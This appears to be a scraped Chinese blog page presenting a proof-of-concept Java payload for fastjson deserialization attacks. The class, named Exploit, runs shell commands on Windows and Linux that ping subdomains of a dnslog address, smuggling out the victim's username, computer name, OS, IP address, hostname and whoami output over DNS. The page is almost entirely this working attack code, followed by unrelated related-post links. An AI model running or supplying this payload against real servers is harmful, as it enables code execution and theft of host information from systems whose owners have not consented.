zoukankan      html  css  js  c++  java
  • fastjson ping外带信息poc

    public class Exploit {
        public Exploit(){
            String base_url = ".egpkd5.dnslog.cn"; //你的dnslog地址
            String win_dnslog = "windows" + base_url;
            // windows
            try{
                String[] commands = { "cmd", "/c", "ping username.%username%." + win_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "cmd", "/c", "ping computername.%computername%." + win_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "cmd", "/c", "ping os.%os%." + win_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            
            
            // linux
            String linux_dnslog = "linux" + base_url;
            try{
    
                String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "/bin/sh", "-c", "ping hostname.`cat /proc/sys/kernel/hostname`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "/bin/sh", "-c", "ping user.`whoami`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
        }
        public static void main(String[] args){
            Exploit e = new Exploit();
        }
    }
    
  • 相关阅读:
    Delphi的idhttp报508 Loop Detected错误的原因
    Delphi的idhttp报IOHandler value is not valid错误的原因
    华为S5700S-52P-LI-AC千兆网管交换机web登录界面配置
    解决win2003/2008下注册机或破解补丁程序无法运行问题
    SQL拆分(转)
    1602四线驱动
    ADC取样
    Delphi AES加密(转)
    使用Qt开发中国象棋(一):概述
    清除当前文件夹下.svn文件的方法
  • 原文地址:https://www.cnblogs.com/huim/p/12000884.html
Copyright © 2011-2022 走看看